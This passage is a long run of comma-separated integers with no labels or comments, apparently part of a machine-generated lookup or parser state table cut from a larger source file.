4,57954,57954,57904,538,57904,57904,57927,57904,57904,57904,57904,57904,57904,57904,57927,57927,57904,57904,57954,57904,57904,57904,1,24578,3,155942,155942,296,0,0,0,0,0,302,303,0,0,0,661,0,661,0,0,0,0,826,0,0,0,661,0,0,0,0,0,5218304,0,0,0,0,5799936,0,5881856,0,0,0,0,0,0,5029888,5038080,0,0,5103616,5201920,0,0,0,0,0,0,1878,0,0,0,0,0,0,0,0,0,2296,0,0,0,0,0,0,842,528,528,528,857,528,528,528,528,528,528,528,528,528,528,898,528,528,528,528,57893,57893,58260,57893,57893,57893,58276,57893,57893,57893,57893,57893,57893,61220,57893,57893,57916,57916,57916,57916,57916,57916,57916,0,57893,57943,57943,57943,57943,57943,57943,57943,57943,59022,57943,59024,57943,57943,57943,57943,57943,57916,58352,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,58393,57916,57916,57916,57916,57916,60913,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,61471,57943,57943,57943,57943,57943,1160,0,0,0,0,0,0,0,0,0,1167,1168,0,0,0,0,0,0,1299,0,0,0,0,0,0,0,0,528,528,1340,528,528,528,528,528,0,0,0,1249,0,0,0,0,0,0,0,0,0,1260,1261,0,0,0,0,131072,0,0,0,0,0,0,0,0,0,0,0,0,2415,0,0,2418,528,528,528,528,1351,1358,528,528,528,528,528,528,528,528,1371,528,528,0,57893,57893,57893,58317,57893,57893,294,1151,0,0,1155,0,0,0,0,0,5857280,0,6463488,4939776,0,0,5455872,0,0,0,0,0,5554176,5570560,5578752,5619712,5668864,0,0,0,5791744,5816320,0,5857280,0,1373,528,528,528,528,528,528,528,528,528,528,528,528,528,528,528,1406,1408,528,528,528,528,528,528,528,528,528,528,528,1423,528,528,528,528,528,2910,528,528,528,528,528,528,2917,528,528,528,528,528,2490,528,528,528,528,528,528,528,528,528,0,0,57893,57893,57893,57893,57893,60612,57893,60613,57893,57893,57893,58773,914,57893,58776,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,58790,58797,57893,57893,57893,57893,57893,57893,57893,57893,58810,57893,58812,57893,57893,57893,57893,57893,59867,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,59872,57893,57893,57893,57893,57893,57893,58832,57893,58834,57893,57893,57893,57893,57893,57893,57893,58847,57893,57893,57893,57893,57893,59881,57893,57893,57893,57893,57893,57893,57893,57893,59888,57893,57916,57916,57916,58957,57916,57916,57916,0,57893,57943,58965,57943,57943,57943,57943,57943,57943,59548,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,61154,57943,57943,57943,57943,528,58999,57943,59001,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,59027,57943,57943,57943,57943,59037,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,59052,57943,57943,57943,57943,57943,61139,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,60454,57943,57943,57943,57943,1946,528,528,528,528,528,528,528,528,1955,528,528,528,528,528,528,1970,528,528,528,528,528,528,1976,528,528,528,528,1982,528,58773,1986,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,60648,57893,57893,57893,57893,57893,57893,57893,57893,57893,59346,59347,57893,57893,57893,57893,59354,57893,57893,57893,57893,57893,58315,57893,57893,57893,57893,0,57916,57916,57916,57916,57916,57916,60349,57916,57916,57916,57916,60353,57916,57916,57916,57893,59426,57893,50676,2086,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,60932,57916,60934,57916,57916,57916,57916,59446,59447,57916,57916,57916,57916,59454,57916,57916,57916,57916,57916,57916,59449,57916,57916,57916,57916,57916,57916,57916,57916,57916,60390,57916,57916,57916,57916,57916,57916,59526,57916,57893,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,59051,57943,57943,57943,59542,59543,57943,57943,57943,57943,59550,57943,57943,57943,57943,57943,57943,57943,57943,57943,60425,57943,57943,57943,57943,57943,57943,0,2313,0,0,0,0,0,0,0,0,0,2322,0,0,0,0,0,0,3208,0,0,0,0,0,0,0,0,0,3210,3211,0,0,0,0,0,528,528,528,528,2477,528,528,528,528,528,528,528,2483,528,528,528,528,528,2924,528,528,528,528,528,528,528,528,528,528,528,2496,528,528,528,0,528,528,528,2488,528,528,528,528,528,528,528,528,528,528,528,0,0,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,0,0,990,57916,57916,57916,57916,57916,60004,57916,57916,57916,57916,57916,57916,57916,60010,57916,57916,57916,57916,57916,58921,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,60917,57916,57916,57916,57916,57916,57943,57943,57943,60087,57943,57943,57943,57943,57943,57943,57943,60093,57943,57943,57943,57943,57943,57943,60967,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,60040,57943,57943,57943,57943,57943,0,0,0,2782,0,0,0,0,0,0,0,0,0,0,0,0,1169,1170,1171,1172,3159,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1871,528,528,528,3231,528,528,528,528,528,528,528,528,528,528,528,528,528,3248,528,528,528,3262,528,0,0,57893,57893,57893,57893,57893,57893,57893,57893,60614,57893,57893,57893,50676,0,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,59441,57893,57893,57893,57893,60622,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57916,61098,57916,57916,57916,57893,57893,57893,57893,60655,57893,0,0,57916,57916,57916,57916,57916,57916,57916,57916,60928,57916,57916,57916,57916,57916,57916,57916,60663,57916,57916,57916,57916,57916,57916,60671,57916,57916,57916,57916,57916,57916,57916,57916,61118,57916,57916,57916,57916,57916,57916,57916,57943,60712,57943,57943,57943,57943,57943,57943,60720,57943,57943,57943,57943,57943,57943,57943,57943,61340,57943,57943,528,57893,0,0,0,57893,57893,57893,61094,57893,57893,57893,57893,57893,57893,57893,57916,57916,57916,57916,57916,57916,61232,57916,57916,57916,57916,61233,61234,57916,57916,57916,528,528,57893,57893,57893,57893,57893,57893,57893,61513,57893,61515,57893,57893,57893,57893,57893,59894,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,0,57916,57916,58335,57916,57916,528,528,61559,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,61567,61624,57916,57916,57916,57916,57943,61628,57943,57943,57943,57943,0,0,0,0,528,4272,528,528,528,528,57893,61620,57893,57893,57893,57893,57916,0,389,341,0,0,0,0,0,0,0,0,0,0,0,0,0,2801,0,0,463,479,479,479,463,463,463,463,463,463,463,463,463,463,512,512,512,512,512,512,512,512,512,512,512,512,512,512,512,512,539,57905,539,57905,539,539,57905,539,539,57928,57905,539,539,57905,57905,57905,57905,57955,57955,57905,57905,57905,57905,57955,57955,57905,539,57905,57905,57928,57905,57905,57905,57905,57905,57905,57905,57928,57928,57905,57905,57955,57905,57905,57905,1,24578,3,155942,156282,296,0,0,0,0,0,302,303,0,0,732,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3427,0,0,0,662,0,662,0,0,0,0,0,0,0,0,662,0,0,0,0,0,6225920,4358144,5062656,4358144,4358144,4358144,4358144,4358144,6225920,0,6086656,528,528,528,528,858,528,528,874,528,528,528,528,528,528,528,528,2913,528,528,528,528,528,528,528,57916,58353,57916,57916,58369,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,61575,57943,57943,57943,0,1189,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3451,0,0,1318,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3480,0,0,0,1334,0,0,0,0,0,528,528,528,528,528,528,528,528,2876,528,528,528,528,528,528,528,528,528,1352,528,528,528,528,528,528,528,528,528,528,528,528,2469,528,528,528,528,528,528,1391,528,528,528,528,528,528,528,528,528,528,528,528,528,3493,528,528,528,528,1410,528,528,528,528,528,1418,528,528,528,528,528,528,528,1379,528,528,528,528,528,528,528,528,1954,528,528,1957,528,528,528,528,58773,914,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,58791,57893,57893,57893,58857,57893,57893,57893,57893,57893,57893,57893,50676,58773,990,57916,57916,57916,57916,57943,57943,57943,60412,57943,60413,57943,57943,57943,57943,57943,57943,57943,58471,57943,57943,57943,57943,528,528,528,901,57943,57943,57943,57943,59039,57943,57943,57943,57943,57943,59047,57943,57943,57943,57943,57943,57943,59563,59564,57943,57943,57943,57943,57943,57943,57943,57943,57943,61484,0,0,4143,4144,0,0,0,1727,0,0,0,0,1734,0,0,0,0,0,0,0,0,0,2370,0,0,0,0,0,0,528,1916,528,528,528,528,528,528,528,528,528,528,528,528,1927,528,528,0,57893,57893,57893,58319,57893,57893,155942,1151,0,302,0,0,306,307,0,0,0,0,0,0,0,0,0,0,650,0,0,0,0,0,2351104,0,0,0,0,0,0,0,0,0,4358144,59359,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,59370,57893,57893,57893,50676,0,57916,59433,57916,57916,57916,57916,57916,57916,57916,59440,57916,57943,57943,57943,59544,57943,57943,57943,57943,57943,57943,57943,57943,57943,59555,57943,57943,528,1714,528,1716,528,528,59063,57893,57893,59065,57893,57893,1151,0,57943,57943,57943,59577,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,61143,57943,57943,0,0,2379,2380,0,0,0,0,0,2386,0,0,0,0,0,0,0,2785,0,0,0,0,0,0,0,0,1753,0,0,0,0,0,0,0,528,2474,528,528,528,528,2479,528,528,528,528,528,528,528,528,528,1396,528,528,528,1403,1405,528,2501,0,0,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,60878,57893,57893,57893,57893,57893,57893,59906,57893,57893,57893,57893,59911,57893,57893,57893,57893,57893,57893,2999,0,57916,57916,57916,57916,57916,57916,57916,57916,57943,61327,57943,57943,61329,57943,57943,57943,57916,59964,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,59506,57916,57943,60047,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,60070,60071,57916,57916,57916,57916,61115,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,58885,58892,57916,57916,57916,0,3925,3675,0,0,0,0,0,0,0,0,0,0,0,0,0,2838,2839,0,3949,528,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,58850,57893,57893,57893,61308,57893,57893,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,58886,57916,57916,57916,57916,4001,0,0,0,0,3675,0,0,0,0,0,0,0,0,528,528,528,528,528,528,1895,528,528,528,4016,528,528,528,528,528,528,528,528,528,528,57893,57893,57893,57893,57893,57893,57893,61375,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57916,57916,57916,57916,57916,61461,57916,61391,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,61407,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,0,0,0,0,0,2316,0,0,0,0,0,0,0,0,0,0,3838,0,0,0,0,0,528,528,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,61566,57916,0,0,0,0,57893,57943,57943,58410,57943,57943,57943,57943,57943,57943,58443,0,0,0,390,391,393,343,0,0,0,0,0,0,342,0,0,0,343,0,0,0,0,0,0,0,0,0,2787,0,0,0,0,0,0,0,0,0,390,0,0,0,0,0,0,343,0,0,0,390,0,0,0,0,131072,0,0,0,0,0,0,0,0,0,310,0,0,0,0,1749,0,0,0,0,0,0,0,0,0,0,0,540672,0,0,0,0,0,0,480,480,480,480,496,496,496,496,496,496,496,496,496,480,480,480,480,480,480,480,480,480,480,480,480,480,480,480,480,540,57906,540,57906,540,540,57906,540,540,57929,57906,540,540,57906,57906,57906,1,24578,3,155942,155942,296,0,0,0,0,0,302,303,0,57929,57906,57906,57906,57906,57906,57906,57906,57929,57929,57906,57942,57956,57942,57942,57942,57942,57956,57956,57942,57942,57942,57942,57956,57956,57942,540,57906,57906,368,368,0,0,0,0,0,706,0,0,0,0,0,0,0,0,740,0,0,0,0,740,0,746,715,0,717,0,0,0,0,0,0,0,725,0,0,0,0,0,0,804,0,0,0,0,0,0,804,0,528,0,0,813,0,796,0,0,815,0,667,0,792,0,0,0,0,0,836,0,0,0,0,796,663,840,0,528,0,792,815,0,815,813,0,0,0,827,0,0,0,663,830,0,0,0,0,131072,0,0,0,0,0,0,0,444,0,0,0,0,0,690,691,0,0,0,0,696,0,0,0,368,843,528,528,528,859,528,528,875,528,528,528,528,889,528,528,528,528,528,3245,528,528,528,528,528,528,528,528,528,528,528,1398,528,528,528,528,528,907,528,528,57893,57893,58261,57893,57893,57893,58278,57893,57893,58294,57893,57893,57893,50676,0,59432,57916,59434,57916,59435,57916,59437,57916,59439,57916,57916,57893,57943,57943,57943,57943,57943,57943,57943,59534,57943,57943,57943,57943,57943,57943,59594,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,60467,57943,57943,57943,57943,57943,57893,57893,58308,57893,57893,57893,57893,58326,57893,57893,0,57916,57916,58337,57916,57916,57916,57916,57943,57943,60411,57943,57943,57943,57943,57943,57943,57943,57943,57943,59044,57943,57943,57943,57943,57943,57943,57916,58354,57916,57916,58370,57916,57916,57916,57916,58384,57916,57916,57916,57916,58402,57916,0,0,0,0,57893,57943,57943,58411,57943,57943,57943,58427,57943,57943,57943,57943,57943,59005,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,59008,57943,57943,57943,57943,57943,57943,57943,57943,58459,57943,57943,57943,57943,58477,57943,57943,528,528,528,528,528,528,57893,57893,57893,57893,57893,57893,1151,0,0,0,1170,0,0,0,0,0,0,0,1172,0,0,0,0,0,0,806,0,0,0,0,787,0,806,0,528,1293,0,0,0,0,0,0,0,0,0,0,0,0,1305,0,0,0,0,0,6307840,0,0,6356992,6381568,6397952,4800512,4808704,0,0,4890624,0,4947968,0,0,0,5046272,0,0,0,0,5185536,0,5234688,5300224,0,0,0,0,1210,0,0,0,0,0,0,0,0,0,1305,0,0,0,0,0,2343,0,0,0,0,0,2347,0,0,2349,0,0,1333,0,0,0,0,0,0,528,528,528,528,528,528,528,528,528,528,528,528,528,528,528,528,1353,528,528,528,528,528,528,528,528,528,528,528,528,2901,528,528,528,528,528,528,1377,528,528,528,528,528,528,528,528,528,528,528,528,528,3724,528,528,58773,914,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,58792,0,0,1777,0,0,1780,0,1782,0,0,0,0,0,0,0,0,753,0,0,0,0,0,0,0,0,1833,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3667,3668,528,1898,528,528,528,528,528,528,528,528,1909,528,528,528,528,528,868,528,528,528,528,528,887,528,528,528,528,59341,57893,57893,57893,57893,57893,57893,57893,57893,59352,57893,57893,57893,57893,57893,57893,58325,57893,57893,57893,0,57916,57916,57916,57916,57916,57943,57943,57943,57943,59578,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,60056,57943,57943,57943,0,2394,0,0,0,0,0,0,0,0,0,0,0,0,0,2405,0,528,528,528,2422,2423,528,528,528,528,528,528,528,528,528,528,1366,528,528,528,528,528,0,0,0,57893,57893,57893,59852,57893,59854,57893,57893,57893,57893,57893,57893,57893,59349,57893,57893,57893,57893,57893,57893,57893,57893,60647,57893,57893,57893,57893,57893,57893,57893,57893,59903,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,59405,57893,0,2780,0,0,2783,0,0,0,0,0,0,2788,0,0,0,2791,2792,0,0,0,0,0,0,0,0,0,0,0,0,0,2802,0,0,0,0,131072,0,0,0,0,0,0,0,448,0,0,0,0,0,2307,0,0,0,0,0,0,0,0,0,0,3674,0,0,0,0,0,0,2817,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3677,0,0,0,2843,0,0,0,0,0,0,0,0,2851,0,0,0,0,0,0,3448,0,0,0,0,0,0,0,0,0,1287,1288,0,0,0,0,0,0,2857,0,0,0,0,2860,0,0,0,0,0,0,0,0,0,2862,0,0,0,0,0,0,2868,0,528,528,528,528,528,528,528,528,528,528,528,528,528,528,528,57893,57893,57893,57893,2879,528,528,2882,2883,528,528,528,528,528,2888,528,2890,528,528,528,528,528,3487,528,528,528,528,528,528,528,528,528,528,2468,528,528,528,528,528,528,2894,528,528,528,528,528,528,528,528,528,2900,528,528,528,528,528,1903,1904,528,528,528,528,1911,528,528,528,528,528,1935,528,528,528,1940,528,528,528,528,528,528,2897,528,528,528,528,528,528,528,528,528,528,3858,528,57893,57893,57893,57893,528,528,528,528,2908,528,528,528,528,528,528,2916,528,528,528,528,528,2439,528,528,528,528,2444,528,528,528,528,528,528,61594,57893,57893,57893,57893,57893,57893,57893,61600,57916,528,2921,528,528,528,528,528,528,528,528,528,528,528,528,528,528,1387,528,57893,60297,57893,60299,57893,57893,57893,57893,60303,57893,57893,57893,57893,57893,57893,57893,59382,57893,57893,57893,57893,57893,57893,57893,57893,59398,57893,57893,57893,57893,57893,57893,57893,57893,57893,60309,57893,57893,57893,57893,57893,57893,57893,57893,57893,60318,57893,57893,57893,0,0,0,2593,57916,57916,57916,57916,57916,57916,57916,57916,57916,60704,57916,57943,57943,57943,57943,57943,57943,57943,60957,57943,57943,57943,57943,57943,57943,57943,57893,57893,57893,60326,57893,57893,57893,57893,57893,60331,57893,57893,57893,57893,57893,57893,58837,57893,57893,57893,57893,57893,57893,57893,58851,57893,60355,57916,57916,60358,60359,57916,57916,57916,57916,57916,60364,57916,60366,57916,57916,57916,57916,57916,60925,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,58884,57916,57916,57916,57916,57916,57916,60370,57916,57916,57916,57916,57916,57916,57916,57916,57916,60376,57916,57916,57916,57916,57916,58960,57916,0,57893,57943,57943,57943,57943,57943,57943,57943,57943,60732,57943,57943,57943,57943,57943,57943,57943,57943,60450,57943,57943,57943,57943,57943,57943,60458,57916,57916,60398,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,59505,57916,57916,57943,57943,57943,60420,57943,57943,60423,60424,57943,57943,57943,57943,57943,60429,57943,60431,57943,57943,57943,57943,60435,57943,57943,57943,57943,57943,57943,57943,57943,57943,60441,57943,57943,57943,57943,57943,61150,57943,57943,57943,57943,57943,57943,57943,57943,57943,528,528,3133,528,528,57893,57893,60480,57893,0,0,3161,3162,3163,0,0,0,0,0,0,0,0,0,0,0,2311,0,0,0,0,0,3176,0,0,0,0,0,0,0,3182,0,3184,0,0,0,0,0,0,3458,0,0,0,0,0,0,0,0,0,786,0,0,0,0,0,0,0,0,0,0,0,802,0,807,0,810,3188,0,0,0,0,3193,0,0,3196,0,0,0,0,0,0,0,389,0,139264,147456,0,0,0,0,0,528,528,3263,0,0,60608,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,61086,57893,57893,57893,57893,57893,57893,57893,60653,57893,57893,60656,0,0,60657,57916,57916,57916,57916,57916,57916,57916,58880,57916,57916,57916,58889,57916,57916,57916,57916,57916,57916,60689,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,59986,57916,57916,57916,57916,60699,57916,57916,60702,57916,57916,60705,60706,57943,57943,57943,57943,57943,57943,57943,60052,57943,57943,57943,57943,57943,57943,60057,57943,60727,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,59031,57943,57943,57943,60738,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,58994,57943,57943,57943,57943,57943,57943,60748,57943,57943,60751,57943,57943,60754,3411,528,528,60758,57893,57893,57893,50676,2085,57916,57916,57916,57916,57916,59436,57916,57916,57916,57916,57916,57916,60373,57916,57916,57916,57916,57916,57916,57916,60379,57916,3429,0,0,0,0,3434,0,0,0,0,0,0,0,0,0,0,3675,0,0,0,0,0,0,0,0,528,528,0,0,0,3470,0,0,0,0,0,0,3477,0,0,3479,0,0,0,0,306,0,0,0,0,0,0,306,0,0,0,0,0,0,0,0,0,0,0,0,2852,0,0,0,528,528,3484,528,528,528,528,528,528,528,528,528,528,528,528,528,528,3259,528,3509,528,528,3511,528,528,528,528,528,528,528,528,528,528,528,57893,57893,57893,57893,61446,57893,57893,60868,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,59928,57893,60894,57893,57893,60896,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,60877,57893,57893,57893,57916,57916,60910,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,60012,57916,57916,57916,60936,57916,57916,60938,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,59485,57916,57916,57916,57916,57916,57943,57943,60952,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,59009,57943,57943,57943,57943,57943,60978,57943,57943,60980,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,60055,57943,57943,57943,60058,3661,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2312,3679,0,0,0,0,0,0,0,0,0,0,0,0,0,3691,0,0,0,0,131072,0,0,0,0,0,0,0,450,0,0,0,0,0,3457,0,0,0,0,3462,0,0,0,0,3466,3702,3703,528,528,528,528,3707,3708,528,528,528,528,528,3712,528,528,0,2932,0,0,0,0,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,59859,57893,57893,528,57893,57893,57893,57893,57893,57893,57893,61073,61074,57893,57893,57893,57893,61078,61079,57916,57916,61102,61103,57916,57916,57916,57916,61107,61108,57916,57916,57916,57916,57916,61112,57943,57943,61136,61137,57943,57943,57943,57943,57943,61141,57943,57943,57943,57943,57943,57943,57943,60436,57943,57943,57943,57943,57943,57943,57943,57943,58476,57943,57943,57943,1139,528,528,528,57943,57943,61147,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,528,528,528,528,528,528,57893,57893,57893,0,0,3817,0,0,0,0,0,0,0,0,1165,0,0,0,0,0,0,0,0,0,3834,0,0,0,0,0,0,0,0,0,0,0,0,0,2865,0,0,57916,57916,57916,57916,61230,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,59486,57916,57916,57916,57916,57943,61249,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,60096,57943,0,0,3675,0,3928,0,0,0,0,0,0,0,0,0,0,0,2361,0,0,0,0,528,528,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,61303,57893,57893,57893,50676,2086,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,61236,61319,57916,57916,57916,57916,57916,57916,57916,57943,57943,57943,57943,57943,57943,57943,57943,0,0,57943,57943,57943,61335,57943,57943,57943,57943,57943,57943,57943,528,57893,0,3999,0,0,0,0,131072,0,0,0,0,0,0,0,450560,0,0,0,0,0,372,0,0,0,0,0,0,0,0,0,0,2333,0,0,0,0,2338,0,4002,0,0,0,3675,0,0,0,0,0,0,0,0,528,528,528,1341,528,528,528,528,4014,528,528,528,528,4019,528,528,528,528,4024,528,528,57893,57893,61373,57893,57893,57893,57893,61378,57893,57893,57893,57893,61383,57893,57893,57893,57916,57916,61389,57916,57916,57916,57916,61394,57916,57916,57916,57916,61399,57916,57916,57916,57943,57943,61405,57943,57943,57943,57943,61410,57943,57943,57943,57943,61415,57943,57943,57943,0,0,0,0,0,2366,0,0,0,0,0,0,0,0,0,0,352256,0,352256,0,0,0,0,0,0,4078,0,0,4081,0,0,0,0,0,528,528,528,528,528,528,57893,57893,57893,57893,57893,57893,57916,528,528,4246,4247,528,528,57893,57893,57893,61596,61597,57893,57893,57893,57916,57916,57916,57916,57943,60410,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,58481,528,852,528,528,57916,61602,61603,57916,57916,57916,57943,57943,57943,61608,61609,57943,57943,57943,0,0,0,0,306,306,306,306,306,306,306,306,306,306,306,306,306,0,306,0,0,0,0,345,346,347,348,349,0,0,0,0,0,0,0,0,1181,0,0,0,0,0,0,0,0,0,349,348,131072,347,348,348,0,349,347,348,0,347,348,457,464,481,481,481,492,492,492,498,492,492,498,498,492,498,513,513,513,513,513,513,513,513,513,513,513,513,513,513,513,513,541,57907,541,57907,541,541,57907,541,541,57930,57907,541,541,57907,57907,57907,57907,57957,57957,57907,57907,57907,57907,57957,57957,57907,541,57907,57907,57930,57907,57907,57907,57907,57907,57907,57907,57930,57930,57907,57907,57957,57907,57907,57907,1,24578,3,155942,155942,296,0,0,0,0,0,302,303,0,0,306,307,0,0,0,0,0,0,646,0,0,0,0,651,652,653,654,655,656,657,0,0,0,0,0,0,0,0,0,0,0,2388,0,0,0,0,0,0,0,672,673,0,675,676,0,0,0,0,0,682,0,0,0,0,307,0,0,0,0,0,0,307,0,0,0,0,0,0,0,0,0,0,0,0,352256,0,0,0,0,0,0,0,716,0,0,719,0,721,0,723,0,0,0,0,0,0,0,394,0,0,0,0,0,0,0,0,1222,0,0,0,0,0,0,0,0,0,733,0,0,0,0,0,0,0,0,0,0,0,0,0,3172,0,0,0,0,0,763,764,0,766,767,675,0,0,0,0,0,0,0,395,0,0,0,0,0,0,0,0,2319,0,0,0,0,0,0,0,0,0,0,782,783,0,785,0,0,0,0,764,0,0,791,0,0,0,0,131072,0,0,0,0,0,245760,0,0,0,0,245760,0,0,0,0,0,0,0,0,0,0,0,0,3171,0,0,0,0,692,0,0,0,764,0,0,0,0,0,0,0,0,757,821,0,0,0,757,0,0,824,699,0,0,0,829,0,0,0,831,0,0,0,692,699,0,0,692,829,829,0,0,0,0,0,528,528,528,528,528,528,2874,528,528,528,528,528,528,528,3489,528,528,528,528,528,528,528,528,3256,528,528,528,528,528,528,528,528,849,853,856,528,865,528,528,528,881,883,886,528,528,528,899,903,528,528,528,57893,57893,57893,58268,58272,58275,57893,58284,57893,57893,57893,58300,58302,58305,57893,57893,57893,58318,58322,57893,57893,57893,0,57916,57916,57916,58344,58348,58351,57916,58360,57916,57916,57916,58376,58378,58381,57916,57916,57916,58394,58398,57916,57916,57916,57916,58367,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,59999,57916,57916,57916,57916,0,0,0,0,58409,57943,57943,57943,58419,58423,58426,57943,58435,57943,57943,528,3649,528,57893,60996,57893,0,0,0,0,0,0,0,0,1254,0,0,0,0,0,0,0,57943,58451,58453,58456,57943,57943,57943,58469,58473,57943,57943,57943,849,1140,528,899,903,1144,0,58489,58268,57893,58318,58322,58494,155942,1151,0,0,0,0,0,0,1179,0,0,0,0,0,0,0,0,0,1239,0,0,0,0,0,0,1278,0,0,0,0,1283,0,0,0,0,0,0,0,0,0,0,3675,0,3828,0,0,0,0,0,0,1321,0,0,0,0,0,0,0,0,0,0,0,0,1198,0,0,0,528,1375,528,528,528,1378,528,528,528,528,528,528,528,1385,528,528,0,2932,0,0,0,0,57893,57893,57893,57893,57893,57893,60282,57893,1389,528,528,528,528,528,528,528,528,528,528,528,1400,528,528,1407,58817,57893,57893,57893,57893,57893,57893,57893,58824,57893,57893,58828,57893,57893,57893,57893,57893,59895,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,59898,59899,57893,57893,57893,57893,57916,57916,57916,58934,57916,57916,58941,57916,57916,57916,57916,57916,57916,57916,57916,57916,59984,57916,57916,57916,57916,57916,57916,57916,58955,57916,57916,57916,57916,57916,0,57893,57943,57943,57943,57943,57943,57943,57943,57943,61542,57943,57943,57943,0,4202,0,0,57943,57943,57943,59003,57943,57943,57943,59006,57943,57943,57943,57943,57943,57943,57943,59013,57943,57943,59017,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,59029,57943,57943,57943,57943,57943,61337,57943,57943,57943,61341,57943,528,57893,0,0,0,0,3139,0,0,0,0,0,0,0,0,0,3149,57943,59036,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,59050,57943,57943,57943,57943,57943,59019,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,58482,528,528,528,528,1822,0,1824,0,0,0,1826,0,746,0,0,0,0,0,0,0,399,0,0,404,0,0,0,0,0,1872,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2350,0,1757,0,0,0,0,0,0,528,1891,528,528,528,528,528,528,2440,528,528,528,528,528,528,528,528,528,528,2495,528,528,528,528,0,1897,528,528,528,528,528,528,528,528,528,528,528,528,528,528,528,1428,528,528,528,528,1919,528,528,528,528,528,528,528,528,528,528,1928,528,528,528,1932,528,528,1937,528,528,528,528,528,528,528,528,528,1419,528,528,528,528,528,528,528,528,528,528,58773,0,57893,59333,57893,57893,57893,57893,57893,57893,57893,59340,57893,57893,57893,59362,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,59371,57893,57893,57893,57893,57943,57943,57893,57893,57893,57893,57943,57943,57893,528,57893,57893,57893,57893,57893,57893,57893,57893,57893,61075,57893,57893,57893,57893,57893,58821,57893,57893,57893,58825,57893,57893,57893,57893,57893,57893,59348,57893,57893,57893,57893,57893,57893,57893,57893,57893,60875,57893,57893,57893,57893,57893,57893,57893,57893,59375,57893,57893,59380,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,61457,57916,57916,57916,57916,57916,57916,57916,59462,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,59471,57916,57916,57916,57916,58368,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,60011,57916,57916,57916,57916,59475,57916,57916,59480,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,59972,57916,57916,57916,59975,59558,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,59567,57943,57943,57943,59571,57943,57943,59576,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,59569,57943,57943,57916,57916,57916,59990,57916,57916,57916,57916,57916,